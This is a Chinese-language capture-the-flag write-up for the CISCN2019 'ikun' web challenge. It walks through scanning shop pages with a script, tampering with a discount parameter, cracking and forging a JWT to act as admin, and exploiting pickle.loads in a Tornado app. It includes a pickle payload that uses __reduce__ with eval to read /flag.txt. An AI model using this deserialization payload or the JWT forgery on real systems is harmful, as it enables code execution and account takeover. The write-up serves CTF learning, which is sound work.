CISCN2019华北赛区Day1Web2]ikun

requests脚本 逻辑漏洞 JWT伪造 python反序列化

一开始给了线索,让我们买到iv6,但是有很多页,考虑写脚本:

1
2
3
4
5
6
7
8
9
import requests
url='xxxxxxx/shop?page={}'
for i in range(1,501):
print("当前%d",%i)
r=requests.session()
res=r.get(url.format(str(i)))
if 'lv6.png' in res.text:
print(i)
break

找到了对应的页面,但是显然是买不起 ,考虑到购买处可能存在bug,我们抓个包看一下,发现有一个discount参数,我们修改一下,改小一点提交,发现只能以管理员身份登录,但是我们发现包里面有jwt,猜想可能是jwt伪造,把数据拖到kali的 jwtcrack 去破解秘钥 ,拿到秘钥之后就进行伪造。

来到最后一步,给了我们源码的下载地址,我们下载到源码,是python的tornado框架,审计后发现,在admin.py文件里面发现 pickle.loads()函数

可能会存在反序列化漏洞

参考:https://xz.aliyun.com/t/2289#toc-4

https://www.cnblogs.com/wangtanzhi/p/12178311.html

构造脚本触发反序列化:

1
2
3
4
5
6
7
8
9
10
import  pickle
import urllib

class payload(object):
def __reduce__(self):
return (eval,("open('/flag.txt','r').read()",))

a=pickle.dumps(payload())
a=urllib.quote(a)
print a

这里用的py2的环境,然后将得到的a传给become,访问触发反序列化拿到flag